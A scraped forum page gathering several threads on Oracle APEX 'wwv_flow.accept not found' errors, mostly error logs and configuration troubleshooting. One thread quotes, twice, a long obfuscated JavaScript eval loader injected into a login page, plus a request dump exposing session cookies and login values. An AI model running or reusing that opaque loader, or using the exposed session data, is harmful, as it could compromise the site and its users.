404 not found The requested URL /pls/apex11/wwv_flow.accept was not found on this server.

Hi,
i tried to connect to Apex on Internal workspace.
I get the error
ORA-00604: error occurred at recursive SQL level 1
ORA-00972: identifier is too long
ORA-06512: at line 10
ORA-06550: line 22, column 3:
PLS-00306: wrong number or types of arguments in call to 'ACCEPT'
ORA-06550: line 22, column 3:
PL/SQL: Statement ignored
DAD name: apex11
PROCEDURE : wwv_flow.accept
URL : http://servername:7777/pls/apex11/wwv_flow.accept
Any Help?
Thanks in Advance
lukx
Environment
OS --> win xp
DB version --> Oracle 11.2.2
Apex Version --> 4.2.2.00.11

Hi,
i found the reason. On my DB test i put a db trigger "AFTER SERVERERROR ON DATABASE".
After trigger disable all works fine.
Lukx

Similar Messages

The requested URL /pls/htmldb/wwv_flow.accept was not found on this server.

I have an application with just one page with a dynamic pl/sql content as the region and i am trying to use the htp package to create some dynamic lists with a submit button. The screen displays properly but whcn I click the submit button I get the error:
The requested URL /pls/htmldb/wwv_flow.accept was not found on this server.
Also when I click on any of my tab items I get the same error. It happens only if I have a dynamic PL/SQL content. If I make it to a HTML region the The tabs starts working.
Any Help?
THanks

I would suggest that you have a look at your apache error logs ( $OH/Apache/Apache/logs ) This should give you the exact oracle error being raised.
hth
Chris
ps You may want to post the content of the dynamic region as well.

The requested URL /pls/apex/wwv_flow.accept was not found

So I went in today to add a new form to an application and here is what I get....
Any new ITEM I make, I can not make any changes to without getting the error. Blank page, blank region, standard form item, nothing else on page, everything set to default.
Any new pages / regions all work fine.
Any old pages / regions all work fine.
If I even just create an item, go back into it and hit apply, I get the "The requested URL /pls/apex/wwv_flow.accept was not found"
Anyone?

apex version? listener version?
web server? version?
DB version? are you on RAC?
(why do people leave these important pieces of information out???)
personally, if a web site works one minute then fails the next with said error, you have a DNS problem.
either too many entries in the DNS ... or two computers with the same IP address.
when the error page displays, double check that the URL is for the correct host and port (eg not localhost)
MK

The requested URL /pls/marvel/wwv_flow.accept was not found on this server.

The requested URL /pls/marvel/wwv_flow.accept was not found on this server.
I get this message many times when I submit the page. Haven't changed any code on the page in months, but this started happening yesterday.
Interesting thing is that when I run in DEBUG mode, this doesn't happen. Things work just fine. What is different when running in DEBUG?
I have put validation (unconditional) that does insert and commit into debugging table in database. Does not get to that point. Fails before validations occur.
Any ideas/ suggestions are appreciated.
--JM

1. Please tell us your first name and put it into your handle and/or profile to help us.
2. What is your Application Express version?
3. Look at the Apache request log and error log for clues.
4. Is the problem consistently reproducible?
5. Can you get this app to fail in this way on apex.oracle.com?
Scott

The requested URL /pls/apex/wwv_flow.accept was not found on this server.

any ideas on how to t'shoot this?
I know I am supposed to check the Apache Server logs but don't see anything.
I am not using Apache as listener but Embedded gateway as listener...
any ideas?

Hi
Are you getting this error permanently or it comes sometimes? You may check alert.log also.
Zulqarnain
MaxApex Hosting
http://www.maxapex.com

Requested URL /pls/apex/wwv_flow.accept was not found on this server

Hi there
Since yesterday we have had troubles with apex production our environment is Apex 4.1, Oracle 11gR2 over windows server 2008, please help me to solve this issue,
it happend in the login page and when submit the authentication
we don have any procedure or form named CSRT (sincerly i don't know what is it)
Sat, 02 Jun 2012 00:46:58 GMT
wwv_flow.accept: SIGNATURE (parameter names) MISMATCH
VARIABLES IN FORM NOT IN PROCEDURE: CSRT
NON-DEFAULT VARIABLES IN PROCEDURE NOT IN FORM:
DAD name: apex
PROCEDURE : wwv_flow.accept
URL : http://<servername>/pls/apex/wwv_flow.accept
PARAMETERS :
===========
P_FLOW_ID:
10000
P_FLOW_STEP_ID:
101
P_INSTANCE:
1188591586206701
P_PAGE_SUBMISSION_ID:
1718810680562501
P_REQUEST:
P101_PASSWORD
CSRT:
4970566970745194725
P_ARG_NAMES:
3865609856762007
3865732602762007
P_T01:
administrator
P_T02:
passsss
P_MD5_CHECKSUM:
P_PAGE_CHECKSUM:
A98EB992B8BC89BE54BB1A8BAC4F05FF
ENVIRONMENT:
============
PLSQL_GATEWAY=WebDb
GATEWAY_IVERSION=3
SERVER_SOFTWARE=Oracle-Application-Server-10g/10.1.2.0.2 Oracle-HTTP-Server
GATEWAY_INTERFACE=CGI/1.1
SERVER_PORT=80
SERVER_NAME=servername
REQUEST_METHOD=POST
QUERY_STRING=
PATH_INFO=/wwv_flow.accept
SCRIPT_NAME=/pls/apex
REMOTE_HOST=
REMOTE_ADDR=148.204.103.109
SERVER_PROTOCOL=HTTP/1.1
REQUEST_PROTOCOL=HTTP
REMOTE_USER=APEX_PUBLIC_USER
ORACLE_SSO_USER=
OSSO_IDLE_TIMEOUT_EXCEEDED=
OSSO_USER_GUID=
HTTP_CONTENT_LENGTH=312
HTTP_CONTENT_TYPE=application/x-www-form-urlencoded
HTTP_USER_AGENT=Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
HTTP_HOST=www.ebecas.ipn.mx
HTTP_ACCEPT=text/html, application/xhtml+xml, */*
HTTP_ACCEPT_ENCODING=
HTTP_ACCEPT_LANGUAGE=es-MX
HTTP_ACCEPT_CHARSET=
HTTP_COOKIE=WWV_CUSTOM-F_1280503233500189_10000=3CAE234CC12CBF34CAC4A802F7E56419; WWV_CUSTOM-F_3230615565651498_2000=85A8907E234374F9065F2AD170F7B446; PUBLIC_WWV_CUSTOM-F_3230615565651498_2000=2708019786394201; WWV_CUSTOM-F_3230615565651498_2400=038325581CE3C913839B01B86444E24E; PUBLIC_WWV_CUSTOM-F_3230615565651498_2400=609137910649001; WWV_CUSTOM-F_3230615565651498_308=0437267FCCB0A166B36DCF5BA56261EB; PUBLIC_WWV_CUSTOM-F_3230615565651498_308=30428853764001; WWV_CUSTOM-F_1280503233500189_777=5B01254A5CD4D740F4758DC9EC163928; PUBLIC_WWV_CUSTOM-F_1280503233500189_777=689694810635801; PUBLIC_WWV_CUSTOM-F_1280503233500189_10000=1649958529159401; WWV_CUSTOM-F_1280503233500189_100=5932332699F7E216AE8D86FD62D69B5A; ORA_WWV_USER_63131075338127=AB757F79A601B064B269432C60D984AC; TS5d40a3=ccd424a738458568ec242aa1123ddd1e596ad0e9e522c57a4fc7aaf6; ORA_WWV_USER_71418318778246=0A42816D6E86C44D1731B394A8802013; __utmc=8977645; TS5af0a4=8ea79f2c523309c506a0a48047fd743f596ad0e9e522c57a4fc962d0; TS5af0a4_28=2a1d0a2d897dca30ab56d0cb72789138596ad0e9e522c57a0000000000000000004fc7c5b78414789acdf34f97; TS5af0a4_77=8572_0e073dd415ef2d41_rsb_0_rs_http%3A%2F%2Fwww.ebecas.ipn.mx%2Fportal%2Ff%3Fp%3D10000%3ABIENVENIDO_rs_1
HTTP_IF_MODIFIED_SINCE=
HTTP_REFERER=http://<servername>/pls/apex/f?p=10000:101:1188591586206701
HTTP_SOAPACTION=
HTTP_ORACLE_ECID=6305641793926,1
HTTP_ORACLE_CACHE_VERSION=10.1.2
HTTP_AUTHORIZATION=
WEB_AUTHENT_PREFIX=
DAD_NAME=apex
DOC_ACCESS_PATH=docs
DOCUMENT_TABLE=wwv_flow_file_objects$
PATH_ALIAS=
REQUEST_CHARSET=AL32UTF8
REQUEST_IANA_CHARSET=UTF-8
SCRIPT_PREFIX=/pls
HTTP_IF_MATCH=
HTTP_CACHE_CONTROL=
SOAP_BODY=
HTTP_X_ORACLE_DEVICE_CLASS=
HTTP_X_ORACLE_DEVICE_ORIENTATION=
HTTP_X_ORACLE_DEVICE_MAXDOCSIZE=
HTTP_X_ORACLE_DEVICE=
HTTP_X_ORACLE_ORIG_ACCEPT=
HTTP_X_ORACLE_ORIG_USER_AGENT=
HTTP_X_ORACLE_USER_LOCALE=
HTTP_X_ORACLE_USER_NAME=
HTTP_X_ORACLE_USER_DISPLAYNAME=
HTTP_X_ORACLE_USER_USERKIND=
HTTP_X_ORACLE_USER_AUTHKIND=
HTTP_X_ORACLE_USER_DEVICEID=
HTTP_X_ORACLE_USER_LOCATION_ADDRESSLINE1=
HTTP_X_ORACLE_USER_LOCATION_ADDRESSLINE2=
HTTP_X_ORACLE_USER_LOCATION_ADDRESSLASTLINE=
HTTP_X_ORACLE_USER_LOCATION_BLOCK=
HTTP_X_ORACLE_USER_LOCATION_CITY=
HTTP_X_ORACLE_USER_LOCATION_COMPANYNAME=
HTTP_X_ORACLE_USER_LOCATION_COUNTY=
HTTP_X_ORACLE_USER_LOCATION_STATE=
HTTP_X_ORACLE_USER_LOCATION_POSTALCODE=
HTTP_X_ORACLE_USER_LOCATION_POSTALCODEEXT=
HTTP_X_ORACLE_USER_LOCATION_COUNTRY=
HTTP_X_ORACLE_USER_LOCATION_TYPE=
HTTP_X_ORACLE_USER_LOCATION_X=
HTTP_X_ORACLE_USER_LOCATION_Y=
HTTP_X_ORACLE_SERVICE_HOME_URL=
HTTP_X_ORACLE_SERVICE_PARENT_URL=
HTTP_X_ORACLE_HOME_URL=
HTTP_X_ORACLE_MODULE_CALLBACK_URL=
HTTP_X_ORACLE_MODULE_CALLBACK_LABEL=
HTTP_X_ORACLE_CACHE_USER=
HTTP_X_ORACLE_CACHE_SUBID=
HTTP_X_ORACLE_CACHE_AUTH=
HTTP_X_ORACLE_CACHE_DEVICE=
HTTP_X_ORACLE_CACHE_LANG=
HTTP_X_ORACLE_CACHE_ENCRYPT=
HTTP_X_ORACLE_ASSERT_USER=

Tx for help me folks!
Let me explain
We have tw domains (a and b) that access to a same database (where the app is)
i configured the dads.conf to access the database in both domains, from domain a
i can't acces the app, it send the error before wrote, and from domain b i can access
without trouble my app, a search the HTML source from my page in both domains and
notice that in domain a the source is the next (just a bit)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html lang="es-mx" xmlns="http://www.w3.org/1999/xhtml" xmlns:htmldb="http://htmldb.oracle.com" xmlns:apex="http://apex.oracle.com">
<head><script language="JavaScript">var pn = "CSRT"; var pv = '3921513832723665401';
eval(function(a){var b=a.split("");var d=b.length;var c=parseInt(b[0]+b[1],16);var f=String.fromCharCode(c);for(var e=2;e<d;e++){var g=(parseInt(b[e]+b[e+1],16)-c)%256;c=g;f+=String.fromCharCode(g);e++}return f}("288edbe3d1d7ddd8dd968d91908da4f1d7d39283a0a3c7cddfd8a0b1d7d392829fa3dbe3d1d7ddd8dd969495a4f1d7d3928daaa9a7a4cf8e958e5eabe3e1d8924c938e5e5f444ba4e4cf8e909095964f4c8d8f95964f4c4e555e6e7aaa9b97d7d2c9ddc7b58e8d904d5f5f4d8f8d5252a4f1d7d3928ba8aa9b97d7d2c9ddc7b58e4a45454b64a4cf8e938c5e6a5e5aa4e7dbd2c4cdcbd1d7cba3aa9ba1e8d7d5e7e69a939464a8aaaa9ba1e8d7d5e7e69a585c9794a6f3d7d3928aa7aa9b97d7d2c9ddc7b58e4a61614b64a4cf8e92a77a6a5e574c918c5e6a5e5aa4edd7d9e9e7e08e8ce9e6cf8e928b5e6a5e5aa4e8aaaa9ba0d7d5dccdc4c88d578bcf9d4e535b4e444b64a4cf8e959ba1d8c6d3d5cb90578b9b635358667a6a5e5aa4e898685f48489ffae2d1dfd8e0e898685f61619fea9868a2904d5f5f4d8f9fa4cf8e938c5e6a5e5aa4e89868a9dbd2c4cdcbd1d7cbe3fafaefd7d9e9e7e08e8deab8b1d7d39289a6a3dbe3d1d7ddd8dd9651a4f1d7d3928aa7a3dbe3d1d7ddd8dd96969a9895a4f1d7d3928daaa1d3d2d8e2d2d3e2a295ccd9b9b1d1d2d2d3e2e7b5bbcdb5c8b5afced28d969764a1d5e19a9ed7d3928ba86d6ba6a7a99b9ad1d3d5dbdca3a6965654a4efe6ebf4f1d7d3928facaac8c6c88b97d7dcd3d7ba9ca19987b1d7d39291ae9f8a95c8c6c88b95ccd9b5b5e8e6dbcbd7e9d98d94985e5b5264a4cf8e99925eabe3e1d8924c97925e5f444ba4e8c8c6c88ba1d8d9b5b5e8e6dbcbd7e9d98d94989d9a64a4cf8e95c8c6c88b97d7dcd3d7ba9ca1996d5eac98a4e8c8c6c88b97d7dcd3d7ba9ca19989acecfafae0c4d5d7cb909899a4f8fafab8a5924a83834e4e8adad7cb884b64a18e51a6b8b1d7d39287a4a3dbe3d1d7ddd8dd969394a4f1d7d3928aa7a3dbe3d1d7ddd8dd969798a4f1d7d39290adb4e0d7d2d3e6a592d3d2d8e2d2d3e2a291d5d7c6d5d9aab1d1d2d2d3e29c4a83834b64ab9e96dad7cba3acaab1d7d3928ca95f4f4f5dafe6ebf4e7a9ad9e96d7e2e7afa4cf8e498d95a4e7a9b4e0d7d2d3e6a59adbd2c4d5ddd8dd9c96d7e2e7e2cfced2e2e6cf8e949a9bced5d7cb90576996c08f4f535852a4f1d7d3928eabb4e0d7d2d3e6a59adbd2c4d5ddd8dd9c96d7e2e7e2cfced2a0a4cf8e498f9c9bced5d7cb90576996c08f4f535852a4e7a9a99aa0d7d5dccdc4c88d576996c08f4f535b4e444ba6fafae0c4d5d7cb909596a4f8efd7d9e9e7e08e8ce9b8add7d9e9e7e0969ce6e7da8b4c9de0d7d2d3e69d4c9de0d7d2d3e6a59adbd2c4d5ddd8dd944c9de0d7d2d3e6a59adbd2c4d5ddd8dd9c96d7e2e7e2cfced28b4c90929394667a7ab4e0d7d2d3e6a59adbd2c4d5ddd8dd9c96d7e2e7e2cfced28ea6b8b1d7d39288a5a3dbe3d1d7ddd8dd969394a4f1d7d3928aa7a3c7cddfd8a0a4cf8e9399a1e8d7d5e7e6dbd7d58f585c605d667a5f8adce8e4929ef8e799a1e8d7d5e7e6dbd7d58f585c5d5a667a5f51519ef8e79997d7d2c9ddc7b58e4a5c5c4b667a6a5e5aa4e5a7b1e6e7dae2efd7d9e9e7e08e8ae7b8b1d7d392819ea3dbe3d1d7ddd8dd969596a4f1d7d3928aa7a3dbe3d1d7ddd8dd969798a4e4cf8e578dbad3a265695da2d9d8e79c9798667a7aa3c7cddfd88ea4f1d7d39290ada1d3d2d8e2d2d3e2a291d5d7c6d5d9aab1d1d2d2d3e29c4a83834b64ab9e96dad7cba3acaaaaacad9e96dad7cbe3efd7d9e9e7e08e8fecb8a4cf8e498ee9f8f0ede9d5d4d5868d9b93d1d1d2d2d3e2e7b07a5f97e3d2c9cbcfd7d3c9864ba4edd7d9e9e7e0ebf3d7d3928ca965959b8fd5e8e6dbcbd7e9d9d8a18fc4d7ddd8dd8f5eabe3e1d89568ac9b8fd5e8e6dbcbd7e9d9d8a18fc4d7ddd8dd9ca4d7cde1da9f5c445dafe6ebf4e79a9bced5d7cb90575d5d58a6e0c4d5d7cb909697a4e7a9b4e0d7d2d3e6a59adbd2c4d5ddd8dd9c96dad7cbe3e6cf8e50498d95a5f8a494a97a7aabe3e1d895a5f8a494a97a7ab2e3d2c9cbcfd7d3c98da5f8a4949a9bced5d7cb90578dbacf9d4e53585252a4e7a9b4e0d7d2d3e6a59adbd2c4d5ddd8dd9c96dad7cbe3e9a9a792949564a4cf8e909094954f4c8d8f94954f4c4e49848c52a4f1d7d3928ba8a1d3d2d8e2d2d3e2a291d5d7c6d5d9aab1d1d2d2d3e29c4a8bd7dee5e9964b64a699a2ede9d5a25f8ad1cdc8c9d3905da6999ccfced2a2a2a0a699a4d7cde1daa2a19fa89b8fd1e0d5d3d2a7abd1d5d08c9394a6fab8b1d7d39286a3a3dbe3d1d7ddd8dd9651a4f1d7d3928aa7b4e0d7d2d3e6a592d3d2d8e2d2d3e2a295ccd9b9b1d1d2d2d3e2e7b5bbcdb5c8b5afced28d4a88d5e1df8f4b64a1d5e19a9ed7d3928ba86d6ba6a7a6989ad1d3d5dbdca3a6965654a4dc8992c5c6c886a6e0a0b1e6e7dae2b8a4cf8e494298e0d7d2d3e6a58fc5c8a9bbdbd3e2c0b5dce7d9d3d3d79ba4f2e0d7d2d3e6a58fc5c8a9bbdbd3e2c0b5dce7d9d3d3d79a4a8edbd0c5864e959592c7cddfd88ea6e2d1dfd8e0e4cf8e494298e0d7d2d3e6a58fd5e8d5c4cbadbbdbd3e29da4f2e0d7d2d3e6a58fd5e8d5c4cbadbbdbd3e29c4a91dddadbd0c5864e9592a6e2d1dfd8e0f2e0d7d2d3e6a59ddddadbd0c5a1a6e6fafaa65198de9a9ce69f64"));
</script>
<title>Bienvenido</title>
HERE i Found the var pn with CSRT Value, so it is the problem,
the HTML code generate for the same page from the domain b is the next:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html lang="es-mx" xmlns="http://www.w3.org/1999/xhtml" xmlns:htmldb="http://htmldb.oracle.com" xmlns:apex="http://apex.oracle.com">
<head>
<title>Bienvenido</title>
Here between <head> tag and <title> tag is empty and it works fine, do you think that it could be and attack to domain a?
if I try to access the developer environment from domain a the code of the login page is
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:htmldb="http://htmldb.oracle.com" xmlns:apex="http://apex.oracle.com">
<head><script language="JavaScript">var pn = "CSRT"; var pv = '3921513832723665401';
eval(function(a){var b=a.split("");var d=b.length;var c=parseInt(b[0]+b[1],16);var f=String.fromCharCode(c);for(var e=2;e<d;e++){var g=(parseInt(b[e]+b[e+1],16)-c)%256;c=g;f+=String.fromCharCode(g);e++}return f}("288edbe3d1d7ddd8dd968d91908da4f1d7d39283a0a3c7cddfd8a0b1d7d392829fa3dbe3d1d7ddd8dd969495a4f1d7d3928daaa9a7a4cf8e958e5eabe3e1d8924c938e5e5f444ba4e4cf8e909095964f4c8d8f95964f4c4e555e6e7aaa9b97d7d2c9ddc7b58e8d904d5f5f4d8f8d5252a4f1d7d3928ba8aa9b97d7d2c9ddc7b58e4a45454b64a4cf8e938c5e6a5e5aa4e7dbd2c4cdcbd1d7cba3aa9ba1e8d7d5e7e69a939464a8aaaa9ba1e8d7d5e7e69a585c9794a6f3d7d3928aa7aa9b97d7d2c9ddc7b58e4a61614b64a4cf8e92a77a6a5e574c918c5e6a5e5aa4edd7d9e9e7e08e8ce9e6cf8e928b5e6a5e5aa4e8aaaa9ba0d7d5dccdc4c88d578bcf9d4e535b4e444b64a4cf8e959ba1d8c6d3d5cb90578b9b635358667a6a5e5aa4e898685f48489ffae2d1dfd8e0e898685f61619fea9868a2904d5f5f4d8f9fa4cf8e938c5e6a5e5aa4e89868a9dbd2c4cdcbd1d7cbe3fafaefd7d9e9e7e08e8deab8b1d7d39289a6a3dbe3d1d7ddd8dd9651a4f1d7d3928aa7a3dbe3d1d7ddd8dd96969a9895a4f1d7d3928daaa1d3d2d8e2d2d3e2a295ccd9b9b1d1d2d2d3e2e7b5bbcdb5c8b5afced28d969764a1d5e19a9ed7d3928ba86d6ba6a7a99b9ad1d3d5dbdca3a6965654a4efe6ebf4f1d7d3928facaac8c6c88b97d7dcd3d7ba9ca19987b1d7d39291ae9f8a95c8c6c88b95ccd9b5b5e8e6dbcbd7e9d98d94985e5b5264a4cf8e99925eabe3e1d8924c97925e5f444ba4e8c8c6c88ba1d8d9b5b5e8e6dbcbd7e9d98d94989d9a64a4cf8e95c8c6c88b97d7dcd3d7ba9ca1996d5eac98a4e8c8c6c88b97d7dcd3d7ba9ca19989acecfafae0c4d5d7cb909899a4f8fafab8a5924a83834e4e8adad7cb884b64a18e51a6b8b1d7d39287a4a3dbe3d1d7ddd8dd969394a4f1d7d3928aa7a3dbe3d1d7ddd8dd969798a4f1d7d39290adb4e0d7d2d3e6a592d3d2d8e2d2d3e2a291d5d7c6d5d9aab1d1d2d2d3e29c4a83834b64ab9e96dad7cba3acaab1d7d3928ca95f4f4f5dafe6ebf4e7a9ad9e96d7e2e7afa4cf8e498d95a4e7a9b4e0d7d2d3e6a59adbd2c4d5ddd8dd9c96d7e2e7e2cfced2e2e6cf8e949a9bced5d7cb90576996c08f4f535852a4f1d7d3928eabb4e0d7d2d3e6a59adbd2c4d5ddd8dd9c96d7e2e7e2cfced2a0a4cf8e498f9c9bced5d7cb90576996c08f4f535852a4e7a9a99aa0d7d5dccdc4c88d576996c08f4f535b4e444ba6fafae0c4d5d7cb909596a4f8efd7d9e9e7e08e8ce9b8add7d9e9e7e0969ce6e7da8b4c9de0d7d2d3e69d4c9de0d7d2d3e6a59adbd2c4d5ddd8dd944c9de0d7d2d3e6a59adbd2c4d5ddd8dd9c96d7e2e7e2cfced28b4c90929394667a7ab4e0d7d2d3e6a59adbd2c4d5ddd8dd9c96d7e2e7e2cfced28ea6b8b1d7d39288a5a3dbe3d1d7ddd8dd969394a4f1d7d3928aa7a3c7cddfd8a0a4cf8e9399a1e8d7d5e7e6dbd7d58f585c605d667a5f8adce8e4929ef8e799a1e8d7d5e7e6dbd7d58f585c5d5a667a5f51519ef8e79997d7d2c9ddc7b58e4a5c5c4b667a6a5e5aa4e5a7b1e6e7dae2efd7d9e9e7e08e8ae7b8b1d7d392819ea3dbe3d1d7ddd8dd969596a4f1d7d3928aa7a3dbe3d1d7ddd8dd969798a4e4cf8e578dbad3a265695da2d9d8e79c9798667a7aa3c7cddfd88ea4f1d7d39290ada1d3d2d8e2d2d3e2a291d5d7c6d5d9aab1d1d2d2d3e29c4a83834b64ab9e96dad7cba3acaaaaacad9e96dad7cbe3efd7d9e9e7e08e8fecb8a4cf8e498ee9f8f0ede9d5d4d5868d9b93d1d1d2d2d3e2e7b07a5f97e3d2c9cbcfd7d3c9864ba4edd7d9e9e7e0ebf3d7d3928ca965959b8fd5e8e6dbcbd7e9d9d8a18fc4d7ddd8dd8f5eabe3e1d89568ac9b8fd5e8e6dbcbd7e9d9d8a18fc4d7ddd8dd9ca4d7cde1da9f5c445dafe6ebf4e79a9bced5d7cb90575d5d58a6e0c4d5d7cb909697a4e7a9b4e0d7d2d3e6a59adbd2c4d5ddd8dd9c96dad7cbe3e6cf8e50498d95a5f8a494a97a7aabe3e1d895a5f8a494a97a7ab2e3d2c9cbcfd7d3c98da5f8a4949a9bced5d7cb90578dbacf9d4e53585252a4e7a9b4e0d7d2d3e6a59adbd2c4d5ddd8dd9c96dad7cbe3e9a9a792949564a4cf8e909094954f4c8d8f94954f4c4e49848c52a4f1d7d3928ba8a1d3d2d8e2d2d3e2a291d5d7c6d5d9aab1d1d2d2d3e29c4a8bd7dee5e9964b64a699a2ede9d5a25f8ad1cdc8c9d3905da6999ccfced2a2a2a0a699a4d7cde1daa2a19fa89b8fd1e0d5d3d2a7abd1d5d08c9394a6fab8b1d7d39286a3a3dbe3d1d7ddd8dd9651a4f1d7d3928aa7b4e0d7d2d3e6a592d3d2d8e2d2d3e2a295ccd9b9b1d1d2d2d3e2e7b5bbcdb5c8b5afced28d4a88d5e1df8f4b64a1d5e19a9ed7d3928ba86d6ba6a7a6989ad1d3d5dbdca3a6965654a4dc8992c5c6c886a6e0a0b1e6e7dae2b8a4cf8e494298e0d7d2d3e6a58fc5c8a9bbdbd3e2c0b5dce7d9d3d3d79ba4f2e0d7d2d3e6a58fc5c8a9bbdbd3e2c0b5dce7d9d3d3d79a4a8edbd0c5864e959592c7cddfd88ea6e2d1dfd8e0e4cf8e494298e0d7d2d3e6a58fd5e8d5c4cbadbbdbd3e29da4f2e0d7d2d3e6a58fd5e8d5c4cbadbbdbd3e29c4a91dddadbd0c5864e9592a6e2d1dfd8e0f2e0d7d2d3e6a59ddddadbd0c5a1a6e6fafaa65198de9a9ce69f64"));
</script>
and obviously i Can't access
Please help me...
tx in advance

The requested URL /pls/portal/display.jsp was not found on this server.

Hi,
I managed to get ultrasearch running now. The crawling process seems to run smooth. Executing a search gives me the correct result. However, i can not display the documents that are listed in the resultpage.
The link to the document is like this:
http://myportal/pls/portal/display.jsp?type=file&f_url=C:\ultra_docs\sultan\filetransfer\htc\site.doc
The path in the url seems ok to me.
Cliking on this link gives me the following error:
The requested URL /pls/portal/display.jsp was not found on this server.
Please, help me out here :/
mvg
Bram

I just tested it by accessing the search page with the following url:
http://myportal/ultrasearch/query/search.jsp
This gives me the same result and the links to the actual documents work fine now too! But it is not working from within portal, the links generated by the ultrasearch portlet give me an error.
The requested URL /pls/portal/display.jsp was not found on this server.
Please Help me Out
thx

After 4.2.1 upgrade get: requested URL /pls/apex/wwv_flow.accept not found

Hi,
Our hosted site just upgraded to 4.2.1 and I am getting:
The requested URL /pls/apex/wwv_flow.accept was not found on this server.
After trying to make a change on a master/detail form. I thought Apex 4.2 increased the # of fields on a master detail form so was surprised to see this error. Even when I reduce the number of columns showing on the detail part of the form which can have many rows as well, I am still getting the above error.
Has there been any change in 4.2 that would change the behavior of a straightforward save of a multi row master detail form?
In the past with Apex 4.0 I had to limit the columns being shown, but now I am reducing the # of columns even further and still get the error.
UPDATE: I just removed from the report region definition several columns (which were deselected from the Report Attributes so not actually showing in the master-detail form) and now I am at least able to add rows and save changes. Again I am totally surprised that this behavior is happening when I thought 4.2 allowed for MORE page items!!
I still cannot Delete rows from the detail section -- I get the odd message of :
ORA-02292: integrity constraint (ENTERPRISE_SYSTEMS.RESOURCE_REQUEST_CON) violated - child record found
But these rows have no child record!! They ARE the child records of the Master form. I had seen this behavior again related to the number of items showing on a page. Seems to me to be a bug in Apex that I had hoped would be removed with the 4.2 upgrade.
Am I missing something!!
PM
Edited by: patfmnd on Dec 28, 2012 10:39 AM

For the first problem, I'd check the alert log first, location:
select * from v$parameter where name like '%user_dump_dest%';

Importing app, 404 Not Found, /pls/apex/wwv_flow.accept was not found

Hello,
It seems like others on this forum have posted this same question, although I still can't find my solution.
I'm trying to import an application into Apex, but I end up getting a 404 Not Found error message, with "The requested URL /pls/apex/wwv_flow.accept was not found on this server". I checked the Apache error logs and this is what I see, but can't seem to understand what I need to do:
[Wed Oct 3 14:26:10 2007] [error] [client 147.18.232.249] [ecid: 1191435955:131.98.31.15:784:0:3056,0] mod_plsql: /pls/apex/wwv_flow.accept
HTTP-404 ORA-00942: table or view does not exist\nLaura

Hi Scott,
I realized what my problem was. It was in the marvel.conf file, contents listed below. Normally we remove the two lines below in bold. When I put them back in, I was able to load my app. Thanks for tipping me off in the right general direction!
Laura
mod_plsql DAD Configuration File
Alias /i/ /opt/oracle/product/10.2.0/db_1_apex/apex/images/
AddType text/xml xbl
AddType text/x-component htc
   Order deny,allow
   PlsqlDocumentPath docs
   AllowOverride None
   PlsqlDocumentProcedure wwv_flow_file_manager.process_download
   PlsqlDatabaseConnectString localhost:1521:IPF ServiceNameFormat
   PlsqlNLSLanguage AMERICAN_AMERICA.AL32UTF8
   PlsqlAuthenticationMode Basic
   PlsqlMaxRequestsPerSession 1
   SetHandler pls_handler
   PlsqlDocumentTablename wwv_flow_file_objects$
   PlsqlDefaultPage apex
<b>   PlsqlDatabaseUsername APEX_PUBLIC_USER
   PlsqlDatabasePassword xxxxxx</b>
   Allow from all

Import problem: /pls/otn/wwv_flow.accept was not found on this server

Hallo,
I've opened today an apex.oracle.com account. I can run Sample Application, but i can't import my own application, that i developed om my local pc, into OTN workspace.
When I try to import an appication in apex.oracle.com I get the following error :
The requested URL /pls/otn/wwv_flow.accept was not found on this server.
The same error i've got when i tryed to import an forum application (from OBE) into otn workspace.
What can i do?
my local environment: apex 3.2 OracleXe Windows XP
Regards,
Roman

When the "wwv_flow_accept not found..." error occurs on Import, what should I be looking for on the server that is broken?Check the apache error log.
This is a new APEX 3.2 install, on a remote server (as opposed to local machine)."remote" relative to what?
All imports fail.Is it at the file upload step, i.e., immediately after you select a file using the browse widget?
Check the database alert log. Maybe the tablespace used by the flows_files user is out of space.
Scott

Import results in /pls/htmldb/wwv_flow.accept was not found on this server

Hello All,
i've tried to import an application export file and the import function results in the error mentioned above. Connecting, creating the workspace was working fine...
any ideas?
Apache error_log has the following entries:
[Mon Sep 26 09:18:45 2005] [warn] mod_plsql: Stale Connection due to Oracle error 942
[Mon Sep 26 09:18:45 2005] [error] mod_plsql: /pls/htmldb/wwv_flow.accept ORA-942 ORA-00942: table or view does not exist
[Mon Sep 26 09:18:45 2005] [warn] mod_plsql: /pls/htmldb/wwv_flow.accept HTTP-404 ORA-00942: table or view does not exist
[Mon Sep 26 09:18:45 2005] [error] [client 172.17.49.224] Invalid method in request 0d51d077a

Hugo,
have you checked the XE forum on this issue ( Oracle Database Express Edition (XE) ) ?
What exactly are you trying to do and what is the error message you get?
To see the error log as you see in Apache, logon as SYSTEM via SQL*Plus and execute:
SQL> execute dbms_epg.set_global_attribute('log-level', 3);The error log will go to the database trace file app/oracle/admin/XE/bdump/xe_s00?_????.trc. Please ignore the bogus error message "Embedded PL/SQL Gateway: Unknown attribute 3" in the error log.
BTW, here are the log levels:
0 - LOG_EMERG
1 - LOG_ALERT
2 - LOG_CRIT
3 - LOG_ERR
4 - LOG_WARNING
5 - LOG_NOTICE
6 - LOG_INFO
7 - LOG_DEBUG
Since XE beta doesn't yet support any other languages than English, please try to set the Primary Application Language in your custom application to en-us.
~Dietmar.

Wwv_flow.accept was not found on this server

Hi all. When I am trying to export my application on apex error appear:
Not Found
The requested URL /pls/apex/wwv_flow.accept was not found on this server.
Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server Server at business Port 7778
Can somebody help me. What the reason of the error?
Best regards, Alexey.

Hello Jes,
My webserver logs tell me:
<1885440046 ms>[ReqStartTime: 25/Sep/2007:10:54:20]
<1885440046 ms>Request ID ReqID:1124_1190703260
<1885440046 ms>Connecting to database with connect string : "(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=localhost)(PORT=1521)))(CONNECT_DATA=(SID=web)))"
<1885440046 ms>OpenCursor
<1885440046 ms>(wpd.c,1761) Logged in as (unknown)
<1885440046 ms>(wpx.c,595) Going to select...
<1885440046 ms>(wpx.c,649) Have been asked to execute a request
